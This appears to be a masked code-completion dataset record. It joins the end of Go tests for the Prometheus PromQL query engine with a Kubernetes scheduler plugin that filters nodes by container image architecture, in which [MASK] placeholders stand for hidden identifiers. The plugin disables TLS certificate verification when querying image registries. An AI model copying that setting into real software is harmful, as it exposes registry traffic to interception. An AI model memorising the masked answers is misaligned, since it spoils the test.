Load string Query string Result parser.Value Start time.Time End time.Time Interval time.Duration }{ { Name: ""sum_over_time with all values"", Load: `load 30s bar 0 1 10 100 1000`, Query: ""sum_over_time(bar[30s])"", Result: Matrix{ Series{ Floats: []FPoint{{F: 0, T: 0}, {F: 11, T: 60000}, {F: 1100, T: 120000}}, Metric: labels.EmptyLabels(), }, }, Start: time.Unix(0, 0), End: time.Unix(120, 0), Interval: 60 * time.Second, }, { Name: ""sum_over_time with trailing values"", Load: `load 30s bar 0 1 10 100 1000 0 0 0 0`, Query: ""sum_over_time(bar[30s])"", Result: Matrix{ Series{ Floats: []FPoint{{F: 0, T: 0}, {F: 11, T: 60000}, {F: 1100, T: 120000}}, Metric: labels.EmptyLabels(), }, }, Start: time.Unix(0, 0), End: time.Unix(120, 0), Interval: 60 * time.Second, }, { Name: ""sum_over_time with all values long"", Load: `load 30s bar 0 1 10 100 1000 10000 100000 1000000 10000000`, Query: ""sum_over_time(bar[30s])"", Result: Matrix{ Series{ Floats: []FPoint{{F: 0, T: 0}, {F: 11, T: 60000}, {F: 1100, T: 120000}, {F: 110000, T: 180000}, {F: 11000000, T: 240000}}, Metric: labels.EmptyLabels(), }, }, Start: time.Unix(0, 0), End: time.Unix(240, 0), Interval: 60 * time.Second, }, { Name: ""sum_over_time with all values random"", Load: `load 30s bar 5 17 42 2 7 905 51`, Query: ""sum_over_time(bar[30s])"", Result: Matrix{ Series{ Floats: []FPoint{{F: 5, T: 0}, {F: 59, T: 60000}, {F: 9, T: 120000}, {F: 956, T: 180000}}, Metric: labels.EmptyLabels(), }, }, Start: time.Unix(0, 0), End: time.Unix(180, 0), Interval: 60 * time.Second, }, { Name: ""metric query"", Load: `load 30s metric 1+1x4`, Query: ""metric"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 3, T: 60000}, {F: 5, T: 120000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(0, 0), End: time.Unix(120, 0), Interval: 1 * time.Minute, }, { Name: ""metric query with trailing values"", Load: `load 30s metric 1+1x8`, Query: ""metric"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 3, T: 60000}, {F: 5, T: 120000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(0, 0), End: time.Unix(120, 0), Interval: 1 * time.Minute, }, { Name: ""short-circuit"", Load: `load 30s foo{job=""1""} 1+1x4 bar{job=""2""} 1+1x4`, Query: `foo > 2 or bar`, Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 3, T: 60000}, {F: 5, T: 120000}}, Metric: labels.FromStrings( ""__name__"", ""bar"", ""job"", ""2"", ), }, Series{ Floats: []FPoint{{F: 3, T: 60000}, {F: 5, T: 120000}}, Metric: labels.FromStrings( ""__name__"", ""foo"", ""job"", ""1"", ), }, }, Start: time.Unix(0, 0), End: time.Unix(120, 0), Interval: 1 * time.Minute, }, } for _, c := range cases { t.Run(c.Name, func(t *testing.T) { test, err := NewTest(t, c.Load) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) qry, err := test.QueryEngine().NewRangeQuery(test.context, test.Queryable(), nil, c.Query, c.Start, c.End, c.Interval) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) require.Equal(t, c.Result, res.Value) }) } } func TestNativeHistogramRate(t *testing.T) { // TODO(beorn7): Integrate histograms into the PromQL testing framework // and write more tests there. test, err := NewTest(t, """") require.NoError(t, err) defer test.Close() seriesName := ""sparse_histogram_series"" lbls := labels.FromStrings(""__name__"", seriesName) app := test.Storage().Appender(context.TODO()) for i, h := range tsdbutil.GenerateTestHistograms(100) { _, err := app.AppendHistogram(0, lbls, int64(i)*int64(15*time.Second/time.Millisecond), h, nil) require.NoError(t, err) } require.NoError(t, app.Commit()) require.NoError(t, test.Run()) engine := test.QueryEngine() queryString := fmt.Sprintf(""rate(%s[1m])"", seriesName) qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(int64(5*time.Minute/time.Millisecond))) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Len(t, vector, 1) actualHistogram := vector[0].H expectedHistogram := &histogram.FloatHistogram{ CounterResetHint: histogram.GaugeType, Schema: 1, ZeroThreshold: 0.001, ZeroCount: 1. / 15., Count: 8. / 15., Sum: 1.226666666666667, PositiveSpans: []histogram.Span{{Offset: 0, Length: 2}, {Offset: 1, Length: 2}}, PositiveBuckets: []float64{1. / 15., 1. / 15., 1. / 15., 1. / 15.}, NegativeSpans: []histogram.Span{{Offset: 0, Length: 2}, {Offset: 1, Length: 2}}, NegativeBuckets: []float64{1. / 15., 1. / 15., 1. / 15., 1. / 15.}, } require.Equal(t, expectedHistogram, actualHistogram) } func TestNativeFloatHistogramRate(t *testing.T) { // TODO(beorn7): Integrate histograms into the PromQL testing framework // and write more tests there. test, err := NewTest(t, """") require.NoError(t, err) defer test.Close() seriesName := ""sparse_histogram_series"" lbls := labels.FromStrings(""__name__"", seriesName) app := test.Storage().Appender(context.TODO()) for i, fh := range tsdbutil.GenerateTestFloatHistograms(100) { _, err := app.AppendHistogram(0, lbls, int64(i)*int64(15*time.Second/time.Millisecond), nil, fh) require.NoError(t, err) } require.NoError(t, app.Commit()) require.NoError(t, test.Run()) engine := test.QueryEngine() queryString := fmt.Sprintf(""rate(%s[1m])"", seriesName) qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(int64(5*time.Minute/time.Millisecond))) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Len(t, vector, 1) actualHistogram := vector[0].H expectedHistogram := &histogram.FloatHistogram{ CounterResetHint: histogram.GaugeType, Schema: 1, ZeroThreshold: 0.001, ZeroCount: 1. / 15., Count: 8. / 15., Sum: 1.226666666666667, PositiveSpans: []histogram.Span{{Offset: 0, Length: 2}, {Offset: 1, Length: 2}}, PositiveBuckets: []float64{1. / 15., 1. / 15., 1. / 15., 1. / 15.}, NegativeSpans: []histogram.Span{{Offset: 0, Length: 2}, {Offset: 1, Length: 2}}, NegativeBuckets: []float64{1. / 15., 1. / 15., 1. / 15., 1. / 15.}, } require.Equal(t, expectedHistogram, actualHistogram) } func TestNativeHistogram_HistogramCountAndSum(t *testing.T) { // TODO(codesome): Integrate histograms into the PromQL testing framework // and write more tests there. h := &histogram.Histogram{ Count: 24, ZeroCount: 4, ZeroThreshold: 0.001, Sum: 100, Schema: 0, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{2, 1, -2, 3}, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, NegativeBuckets: []int64{2, 1, -2, 3}, } for _, floatHisto := range []bool{true, false} { t.Run(fmt.Sprintf(""floatHistogram=%t"", floatHisto), func(t *testing.T) { test, err := NewTest(t, """") require.NoError(t, err) t.Cleanup(test.Close) seriesName := ""sparse_histogram_series"" lbls := labels.FromStrings(""__name__"", seriesName) engine := test.QueryEngine() ts := int64(10 * time.Minute / time.Millisecond) app := test.Storage().Appender(context.TODO()) if floatHisto { _, err = app.AppendHistogram(0, lbls, ts, nil, h.ToFloat()) } else { _, err = app.AppendHistogram(0, lbls, ts, h, nil) } require.NoError(t, err) require.NoError(t, app.Commit()) queryString := fmt.Sprintf(""histogram_count(%s)"", seriesName) qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(ts)) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Len(t, vector, 1) require.Nil(t, vector[0].H) if floatHisto { require.Equal(t, h.ToFloat().Count, vector[0].F) } else { require.Equal(t, float64(h.Count), vector[0].F) } queryString = fmt.Sprintf(""histogram_sum(%s)"", seriesName) qry, err = engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(ts)) require.NoError(t, err) res = qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err = res.Vector() require.NoError(t, err) require.Len(t, vector, 1) require.Nil(t, vector[0].H) if floatHisto { require.Equal(t, h.ToFloat().Sum, vector[0].F) } else { require.Equal(t, h.Sum, vector[0].F) } }) } } func TestNativeHistogram_HistogramQuantile(t *testing.T) { // TODO(codesome): Integrate histograms into the PromQL testing framework // and write more tests there. type subCase struct { quantile string value float64 } cases := []struct { text string // Histogram to test. h *histogram.Histogram // Different quantiles to test for this histogram. subCases []subCase }{ { text: ""all positive buckets with zero bucket"", h: &histogram.Histogram{ Count: 12, ZeroCount: 2, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{2, 1, -2, 3}, }, subCases: []subCase{ { quantile: ""1.0001"", value: math.Inf(1), }, { quantile: ""1"", value: 16, }, { quantile: ""0.99"", value: 15.759999999999998, }, { quantile: ""0.9"", value: 13.600000000000001, }, { quantile: ""0.6"", value: 4.799999999999997, }, { quantile: ""0.5"", value: 1.6666666666666665, }, { // Zero bucket. quantile: ""0.1"", value: 0.0006000000000000001, }, { quantile: ""0"", value: 0, }, { quantile: ""-1"", value: math.Inf(-1), }, }, }, { text: ""all negative buckets with zero bucket"", h: &histogram.Histogram{ Count: 12, ZeroCount: 2, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, NegativeBuckets: []int64{2, 1, -2, 3}, }, subCases: []subCase{ { quantile: ""1.0001"", value: math.Inf(1), }, { // Zero bucket. quantile: ""1"", value: 0, }, { // Zero bucket. quantile: ""0.99"", value: -6.000000000000048e-05, }, { // Zero bucket. quantile: ""0.9"", value: -0.0005999999999999996, }, { quantile: ""0.5"", value: -1.6666666666666667, }, { quantile: ""0.1"", value: -13.6, }, { quantile: ""0"", value: -16, }, { quantile: ""-1"", value: math.Inf(-1), }, }, }, { text: ""both positive and negative buckets with zero bucket"", h: &histogram.Histogram{ Count: 24, ZeroCount: 4, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{2, 1, -2, 3}, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, NegativeBuckets: []int64{2, 1, -2, 3}, }, subCases: []subCase{ { quantile: ""1.0001"", value: math.Inf(1), }, { quantile: ""1"", value: 16, }, { quantile: ""0.99"", value: 15.519999999999996, }, { quantile: ""0.9"", value: 11.200000000000003, }, { quantile: ""0.7"", value: 1.2666666666666657, }, { // Zero bucket. quantile: ""0.55"", value: 0.0006000000000000005, }, { // Zero bucket. quantile: ""0.5"", value: 0, }, { // Zero bucket. quantile: ""0.45"", value: -0.0005999999999999996, }, { quantile: ""0.3"", value: -1.266666666666667, }, { quantile: ""0.1"", value: -11.2, }, { quantile: ""0.01"", value: -15.52, }, { quantile: ""0"", value: -16, }, { quantile: ""-1"", value: math.Inf(-1), }, }, }, } test, err := NewTest(t, """") require.NoError(t, err) t.Cleanup(test.Close) idx := int64(0) for _, floatHisto := range []bool{true, false} { for _, c := range cases { t.Run(fmt.Sprintf(""%s floatHistogram=%t"", c.text, floatHisto), func(t *testing.T) { seriesName := ""sparse_histogram_series"" lbls := labels.FromStrings(""__name__"", seriesName) engine := test.QueryEngine() ts := idx * int64(10*time.Minute/time.Millisecond) app := test.Storage().Appender(context.TODO()) if floatHisto { _, err = app.AppendHistogram(0, lbls, ts, nil, c.h.ToFloat()) } else { _, err = app.AppendHistogram(0, lbls, ts, c.h, nil) } require.NoError(t, err) require.NoError(t, app.Commit()) for j, sc := range c.subCases { t.Run(fmt.Sprintf(""%d %s"", j, sc.quantile), func(t *testing.T) { queryString := fmt.Sprintf(""histogram_quantile(%s, %s)"", sc.quantile, seriesName) qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(ts)) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Len(t, vector, 1) require.Nil(t, vector[0].H) require.True(t, almostEqual(sc.value, vector[0].F)) }) } idx++ }) } } } func TestNativeHistogram_HistogramFraction(t *testing.T) { // TODO(codesome): Integrate histograms into the PromQL testing framework // and write more tests there. type subCase struct { lower, upper string value float64 } invariantCases := []subCase{ { lower: ""42"", upper: ""3.1415"", value: 0, }, { lower: ""0"", upper: ""0"", value: 0, }, { lower: ""0.000001"", upper: ""0.000001"", value: 0, }, { lower: ""42"", upper: ""42"", value: 0, }, { lower: ""-3.1"", upper: ""-3.1"", value: 0, }, { lower: ""3.1415"", upper: ""NaN"", value: math.NaN(), }, { lower: ""NaN"", upper: ""42"", value: math.NaN(), }, { lower: ""NaN"", upper: ""NaN"", value: math.NaN(), }, { lower: ""-Inf"", upper: ""+Inf"", value: 1, }, } cases := []struct { text string // Histogram to test. h *histogram.Histogram // Different ranges to test for this histogram. subCases []subCase }{ { text: ""empty histogram"", h: &histogram.Histogram{}, subCases: []subCase{ { lower: ""3.1415"", upper: ""42"", value: math.NaN(), }, }, }, { text: ""all positive buckets with zero bucket"", h: &histogram.Histogram{ Count: 12, ZeroCount: 2, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{2, 1, -2, 3}, // Abs: 2, 3, 1, 4 }, subCases: append([]subCase{ { lower: ""0"", upper: ""+Inf"", value: 1, }, { lower: ""-Inf"", upper: ""0"", value: 0, }, { lower: ""-0.001"", upper: ""0"", value: 0, }, { lower: ""0"", upper: ""0.001"", value: 2. / 12., }, { lower: ""0"", upper: ""0.0005"", value: 1. / 12., }, { lower: ""0.001"", upper: ""inf"", value: 10. / 12., }, { lower: ""-inf"", upper: ""-0.001"", value: 0, }, { lower: ""1"", upper: ""2"", value: 3. / 12., }, { lower: ""1.5"", upper: ""2"", value: 1.5 / 12., }, { lower: ""1"", upper: ""8"", value: 4. / 12., }, { lower: ""1"", upper: ""6"", value: 3.5 / 12., }, { lower: ""1.5"", upper: ""6"", value: 2. / 12., }, { lower: ""-2"", upper: ""-1"", value: 0, }, { lower: ""-2"", upper: ""-1.5"", value: 0, }, { lower: ""-8"", upper: ""-1"", value: 0, }, { lower: ""-6"", upper: ""-1"", value: 0, }, { lower: ""-6"", upper: ""-1.5"", value: 0, }, }, invariantCases...), }, { text: ""all negative buckets with zero bucket"", h: &histogram.Histogram{ Count: 12, ZeroCount: 2, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, NegativeBuckets: []int64{2, 1, -2, 3}, }, subCases: append([]subCase{ { lower: ""0"", upper: ""+Inf"", value: 0, }, { lower: ""-Inf"", upper: ""0"", value: 1, }, { lower: ""-0.001"", upper: ""0"", value: 2. / 12., }, { lower: ""0"", upper: ""0.001"", value: 0, }, { lower: ""-0.0005"", upper: ""0"", value: 1. / 12., }, { lower: ""0.001"", upper: ""inf"", value: 0, }, { lower: ""-inf"", upper: ""-0.001"", value: 10. / 12., }, { lower: ""1"", upper: ""2"", value: 0, }, { lower: ""1.5"", upper: ""2"", value: 0, }, { lower: ""1"", upper: ""8"", value: 0, }, { lower: ""1"", upper: ""6"", value: 0, }, { lower: ""1.5"", upper: ""6"", value: 0, }, { lower: ""-2"", upper: ""-1"", value: 3. / 12., }, { lower: ""-2"", upper: ""-1.5"", value: 1.5 / 12., }, { lower: ""-8"", upper: ""-1"", value: 4. / 12., }, { lower: ""-6"", upper: ""-1"", value: 3.5 / 12., }, { lower: ""-6"", upper: ""-1.5"", value: 2. / 12., }, }, invariantCases...), }, { text: ""both positive and negative buckets with zero bucket"", h: &histogram.Histogram{ Count: 24, ZeroCount: 4, ZeroThreshold: 0.001, Sum: 100, // Does not matter. Schema: 0, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{2, 1, -2, 3}, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, NegativeBuckets: []int64{2, 1, -2, 3}, }, subCases: append([]subCase{ { lower: ""0"", upper: ""+Inf"", value: 0.5, }, { lower: ""-Inf"", upper: ""0"", value: 0.5, }, { lower: ""-0.001"", upper: ""0"", value: 2. / 24, }, { lower: ""0"", upper: ""0.001"", value: 2. / 24., }, { lower: ""-0.0005"", upper: ""0.0005"", value: 2. / 24., }, { lower: ""0.001"", upper: ""inf"", value: 10. / 24., }, { lower: ""-inf"", upper: ""-0.001"", value: 10. / 24., }, { lower: ""1"", upper: ""2"", value: 3. / 24., }, { lower: ""1.5"", upper: ""2"", value: 1.5 / 24., }, { lower: ""1"", upper: ""8"", value: 4. / 24., }, { lower: ""1"", upper: ""6"", value: 3.5 / 24., }, { lower: ""1.5"", upper: ""6"", value: 2. / 24., }, { lower: ""-2"", upper: ""-1"", value: 3. / 24., }, { lower: ""-2"", upper: ""-1.5"", value: 1.5 / 24., }, { lower: ""-8"", upper: ""-1"", value: 4. / 24., }, { lower: ""-6"", upper: ""-1"", value: 3.5 / 24., }, { lower: ""-6"", upper: ""-1.5"", value: 2. / 24., }, }, invariantCases...), }, } idx := int64(0) for _, floatHisto := range []bool{true, false} { for _, c := range cases { t.Run(fmt.Sprintf(""%s floatHistogram=%t"", c.text, floatHisto), func(t *testing.T) { test, err := NewTest(t, """") require.NoError(t, err) t.Cleanup(test.Close) seriesName := ""sparse_histogram_series"" lbls := labels.FromStrings(""__name__"", seriesName) engine := test.QueryEngine() ts := idx * int64(10*time.Minute/time.Millisecond) app := test.Storage().Appender(context.TODO()) if floatHisto { _, err = app.AppendHistogram(0, lbls, ts, nil, c.h.ToFloat()) } else { _, err = app.AppendHistogram(0, lbls, ts, c.h, nil) } require.NoError(t, err) require.NoError(t, app.Commit()) for j, sc := range c.subCases { t.Run(fmt.Sprintf(""%d %s %s"", j, sc.lower, sc.upper), func(t *testing.T) { queryString := fmt.Sprintf(""histogram_fraction(%s, %s, %s)"", sc.lower, sc.upper, seriesName) qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(ts)) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Len(t, vector, 1) require.Nil(t, vector[0].H) if math.IsNaN(sc.value) { require.True(t, math.IsNaN(vector[0].F)) return } require.Equal(t, sc.value, vector[0].F) }) } idx++ }) } } } func TestNativeHistogram_Sum_Count_AddOperator(t *testing.T) { // TODO(codesome): Integrate histograms into the PromQL testing framework // and write more tests there. cases := []struct { histograms []histogram.Histogram expected histogram.FloatHistogram }{ { histograms: []histogram.Histogram{ { Schema: 0, Count: 21, Sum: 1234.5, ZeroThreshold: 0.001, ZeroCount: 4, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 1, Length: 2}, }, PositiveBuckets: []int64{1, 1, -1, 0}, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 2}, {Offset: 2, Length: 2}, }, NegativeBuckets: []int64{2, 2, -3, 8}, }, { Schema: 0, Count: 36, Sum: 2345.6, ZeroThreshold: 0.001, ZeroCount: 5, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 4}, {Offset: 0, Length: 0}, {Offset: 0, Length: 3}, }, PositiveBuckets: []int64{1, 2, -2, 1, -1, 0, 0}, NegativeSpans: []histogram.Span{ {Offset: 1, Length: 4}, {Offset: 2, Length: 0}, {Offset: 2, Length: 3}, }, NegativeBuckets: []int64{1, 3, -2, 5, -2, 0, -3}, }, { Schema: 0, Count: 36, Sum: 1111.1, ZeroThreshold: 0.001, ZeroCount: 5, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 4}, {Offset: 0, Length: 0}, {Offset: 0, Length: 3}, }, PositiveBuckets: []int64{1, 2, -2, 1, -1, 0, 0}, NegativeSpans: []histogram.Span{ {Offset: 1, Length: 4}, {Offset: 2, Length: 0}, {Offset: 2, Length: 3}, }, NegativeBuckets: []int64{1, 3, -2, 5, -2, 0, -3}, }, }, expected: histogram.FloatHistogram{ Schema: 0, ZeroThreshold: 0.001, ZeroCount: 14, Count: 93, Sum: 4691.2, PositiveSpans: []histogram.Span{ {Offset: 0, Length: 3}, {Offset: 0, Length: 4}, }, PositiveBuckets: []float64{3, 8, 2, 5, 3, 2, 2}, NegativeSpans: []histogram.Span{ {Offset: 0, Length: 4}, {Offset: 0, Length: 2}, {Offset: 3, Length: 3}, }, NegativeBuckets: []float64{2, 6, 8, 4, 15, 9, 10, 10, 4}, }, }, } idx0 := int64(0) for _, c := range cases { for _, floatHisto := range []bool{true, false} { t.Run(fmt.Sprintf(""floatHistogram=%t %d"", floatHisto, idx0), func(t *testing.T) { test, err := NewTest(t, """") require.NoError(t, err) t.Cleanup(test.Close) seriesName := ""sparse_histogram_series"" engine := test.QueryEngine() ts := idx0 * int64(10*time.Minute/time.Millisecond) app := test.Storage().Appender(context.TODO()) for idx1, h := range c.histograms { lbls := labels.FromStrings(""__name__"", seriesName, ""idx"", fmt.Sprintf(""%d"", idx1)) // Since we mutate h later, we need to create a copy here. if floatHisto { _, err = app.AppendHistogram(0, lbls, ts, nil, h.Copy().ToFloat()) } else { _, err = app.AppendHistogram(0, lbls, ts, h.Copy(), nil) } require.NoError(t, err) } require.NoError(t, app.Commit()) queryAndCheck := func(queryString string, exp Vector) { qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, queryString, timestamp.Time(ts)) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vector, err := res.Vector() require.NoError(t, err) require.Equal(t, exp, vector) } // sum(). queryString := fmt.Sprintf(""sum(%s)"", seriesName) queryAndCheck(queryString, []Sample{{T: ts, H: &c.expected, Metric: labels.EmptyLabels()}}) // + operator. queryString = fmt.Sprintf(`%s{idx=""0""}`, seriesName) for idx := 1; idx < len(c.histograms); idx++ { queryString += fmt.Sprintf(` + ignoring(idx) %s{idx=""%d""}`, seriesName, idx) } queryAndCheck(queryString, []Sample{{T: ts, H: &c.expected, Metric: labels.EmptyLabels()}}) // count(). queryString = fmt.Sprintf(""count(%s)"", seriesName) queryAndCheck(queryString, []Sample{{T: ts, F: 3, Metric: labels.EmptyLabels()}}) }) idx0++ } } } func TestQueryLookbackDelta(t *testing.T) { var ( load = `load 5m metric 0 1 2 ` query = ""metric"" lastDatapointTs = time.Unix(600, 0) ) cases := []struct { name string ts time.Time engineLookback, queryLookback time.Duration expectSamples bool }{ { name: ""default lookback delta"", ts: lastDatapointTs.Add(defaultLookbackDelta), expectSamples: true, }, { name: ""outside default lookback delta"", ts: lastDatapointTs.Add(defaultLookbackDelta + time.Millisecond), expectSamples: false, }, { name: ""custom engine lookback delta"", ts: lastDatapointTs.Add(10 * time.Minute), engineLookback: 10 * time.Minute, expectSamples: true, }, { name: ""outside custom engine lookback delta"", ts: lastDatapointTs.Add(10*time.Minute + time.Millisecond), engineLookback: 10 * time.Minute, expectSamples: false, }, { name: ""custom query lookback delta"", ts: lastDatapointTs.Add(20 * time.Minute), engineLookback: 10 * time.Minute, queryLookback: 20 * time.Minute, expectSamples: true, }, { name: ""outside custom query lookback delta"", ts: lastDatapointTs.Add(20*time.Minute + time.Millisecond), engineLookback: 10 * time.Minute, queryLookback: 20 * time.Minute, expectSamples: false, }, { name: ""negative custom query lookback delta"", ts: lastDatapointTs.Add(20 * time.Minute), engineLookback: -10 * time.Minute, queryLookback: 20 * time.Minute, expectSamples: true, }, } for _, c := range cases { c := c t.Run(c.name, func(t *testing.T) { test, err := NewTest(t, load) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) eng := test.QueryEngine() if c.engineLookback != 0 { eng.lookbackDelta = c.engineLookback } opts := &QueryOpts{ LookbackDelta: c.queryLookback, } qry, err := eng.NewInstantQuery(test.context, test.Queryable(), opts, query, c.ts) require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) vec, ok := res.Value.(Vector) require.True(t, ok) if c.expectSamples { require.NotEmpty(t, vec) } else { require.Empty(t, vec) } }) } } ",queryable 930,"package archfilter import ( ""context"" ""crypto/tls"" ""encoding/json"" ""errors"" ""fmt"" ""net/http"" ""strings"" ""time"" ecrlogin ""github.com/awslabs/amazon-ecr-credential-helper/ecr-login"" ""github.com/awslabs/amazon-ecr-credential-helper/ecr-login/api"" ""github.com/google/go-containerregistry/pkg/authn"" ""github.com/google/go-containerregistry/pkg/name"" ""github.com/google/go-containerregistry/pkg/v1/remote"" ""golang.org/x/exp/slices"" ""gopkg.in/yaml.v2"" v1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" _ ""k8s.io/client-go/plugin/pkg/client/auth"" ""k8s.io/client-go/tools/cache"" ""k8s.io/klog/v2"" ""k8s.io/kubernetes/pkg/scheduler/framework"" ) const ( // Name is plugin name Name = ""archfilter"" ) type ArchFilter struct { handle framework.Handle weight *WeightArgs } var _ = framework.FilterPlugin(&ArchFilter{}) var _ = framework.ScorePlugin(&ArchFilter{}) type ImageArch struct { Image string Architectures []string } func cacheKeyFunc(obj interface{}) (string, error) { return obj.(ImageArch).Image, nil } var cacheStore = cache.NewTTLStore(cacheKeyFunc, time.Duration(10)*time.Minute) func AddToCache(cacheStore cache.Store, object ImageArch) error { return cacheStore.Add(object) } func FetchFromCache(cacheStore cache.Store, key string) (ImageArch, error) { obj, exists, err := cacheStore.GetByKey(key) if err != nil { // klog.Errorf(""failed to add key value to cache error"", err) return ImageArch{}, err } if !exists { // klog.Errorf(""object does not exist in the cache"") err = errors.New(""object does not exist in the cache"") return ImageArch{}, err } return obj.(ImageArch), nil } func DeleteFromCache(cacheStore cache.Store, object string) error { return cacheStore.Delete(object) } func DecodeInto(obj runtime.Object, into interface{}) error { if obj == nil { return nil } configuration, ok := obj.(*runtime.Unknown) if !ok { return fmt.Errorf(""want args of type runtime.Unknown, got %T"", obj) } if configuration.Raw == nil { return nil } switch configuration.ContentType { // If ContentType is empty, it means ContentTypeJSON by default. case runtime.ContentTypeJSON, """": return json.Unmarshal(configuration.Raw, into) case runtime.ContentTypeYAML: return yaml.Unmarshal(configuration.Raw, into) default: return fmt.Errorf(""not supported content type %s"", configuration.ContentType) } } func New(ctx context.Context, obj runtime.Object, handle framework.Handle) (framework.Plugin, error) { args := &WeightArgs{} if err := DecodeInto(obj, args); err != nil { return nil, err } return &ArchFilter{ handle: handle, weight: args, }, nil } func (s *ArchFilter) Name() string { return Name } func GetPodArchitectures(pod *v1.Pod) ([]ImageArch, error) { containers := []ImageArch{} for _, container := range pod.Spec.Containers { val, err := FetchFromCache(cacheStore, container.Image) // If the key exists architectures := make([]string, 0) if err == nil { architectures = append(architectures, val.Architectures...) containers = append(containers, ImageArch{Image: container.Image, Architectures: architectures}) klog.V(2).Info(""Found in cache: "", container.Image, "" "", val.Architectures) } else { klog.V(2).Info(container.Image) ref, err := name.ParseReference(container.Image, name.Insecure) if err != nil { return containers, err } index, err := remote.Index(ref, remote.WithAuthFromKeychain(authn.DefaultKeychain), remote.WithTransport(&http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, })) if strings.Contains(container.Image, ""amazonaws.com"") { ecrHelper := ecrlogin.NewECRHelper(ecrlogin.WithClientFactory(api.DefaultClientFactory{})) index, err = remote.Index(ref, remote.WithAuthFromKeychain(authn.NewKeychainFromHelper(ecrHelper)), remote.WithTransport(&http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, })) } if err != nil { return containers, err } imageIndex, err := index.IndexManifest() if err != nil { return containers, err } for _, manifest := range imageIndex.Manifests { architectures = append(architectures, manifest.Platform.Architecture) } klog.V(2).Info(""Added to cache: "", container.Image, "" "", architectures) containers = append(containers, ImageArch{Image: container.Image, Architectures: architectures}) AddToCache(cacheStore, ImageArch{Image: container.Image, Architectures: architectures}) } } return containers, nil } func (s *ArchFilter) Filter(ctx context.Context, state *framework.CycleState, pod *v1.Pod, node *framework.NodeInfo) *framework.Status { nodeArch := node.Node().Status.NodeInfo.Architecture klog.V(2).Infof(""filter pod: %v, %v"", pod.Name, nodeArch) [MASK] , err := GetPodArchitectures(pod) if err != nil { klog.V(2).ErrorS(err, ""failed to get image architectures"") return framework.NewStatus(framework.Error, ""Failed to get pod architectures"") } for _, container := range [MASK] { klog.V(2).Info(""Comparing pod/container architecture: "", container, "" with node architecture: "", nodeArch) if !slices.Contains(container.Architectures, nodeArch) { return framework.NewStatus(framework.Unschedulable, ""Incompatible node architecture found"", nodeArch) } } return framework.NewStatus(framework.Success, ""Node with compatible architecture found"", nodeArch) } // ScoreExtensions of the Score plugin. func (s *ArchFilter) ScoreExtensions() framework.ScoreExtensions { return nil } func (s *ArchFilter) Score(ctx context.Context, state *framework.CycleState, p *v1.Pod, nodeName string) (int64, *framework.Status) { node, err := s.handle.ClientSet().CoreV1().Nodes().Get(context.Background(), nodeName, metav1.GetOptions{}) if err != nil { klog.V(2).ErrorS(err, ""failed to get node"") return 0, framework.NewStatus(framework.Error, ""Failed to get node"") } val, ok := s.weight.Weight[node.Status.NodeInfo.Architecture] // If the key exists if ok { klog.Infof(""[ArchFilter] node '%v' weight found in config: %v, %v"", 